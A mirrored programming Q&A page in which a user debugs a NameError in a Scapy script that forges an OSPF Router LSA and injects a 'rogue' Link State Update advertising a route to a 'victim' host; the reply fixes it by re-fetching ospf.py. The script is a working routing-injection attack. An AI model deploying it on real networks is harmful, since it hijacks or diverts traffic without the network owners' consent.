简体   繁体   中英

name 'OSPF_Link' is not defined

I have a python script like this:

#!/usr/bin/env python
from scapy.all import *
from ospf import *

def ourSend(packet):
        sendp(packet,iface='eth1')

host1='10.0.3.2'      
advr_routers='10.0.8.7'
host2='10.0.2.2'      
sequence=0x80000918      

link2host1 = OSPF_Link(id=host1,data='10.0.3.1',type=2,metric=1)
link2host2 = OSPF_Link(id=host2,data='10.0.2.2',type=2,metric=1)
link2victim = OSPF_Link(id="192.168.200.20",data="255.255.255.255",type=3,metric=1)

IPlayer=IP(src='10.0.1.2',dst='224.0.0.5')
OSPFHdr=OSPF_Hdr(src='10.0.6.1')
rogueLsa=Ether()/IPlayer/OSPFHdr/OSPF_LSUpd(lsacount=1,lsalist=[OSPF_Router_LSA(options=0x22,id='10.0.3.1',adrouter=advr_routers,seq=sequence,\
                                            linkcount=3,linklist=[link2victim,link2host1,link2host2])])

ourSend(rogueLsa)

When I run it it has an scapy error.. So I resolved it with git pyrt ...

now when I want to run the python script I have other error:

$ python scipt.py
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
  File "s.py", line 19, in <module>
    link2host1 = OSPF_Link(id=host1,data='10.0.3.1',type=2,metric=1)
NameError: name 'OSPF_Link' is not defined

Thank you

I Should separately get ospf.py again and run my script.

This is what I tried and worked...

When you git pyrt The module OSPF_Link can't be added. SO I used the ospf.py again and problem is solved now....

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM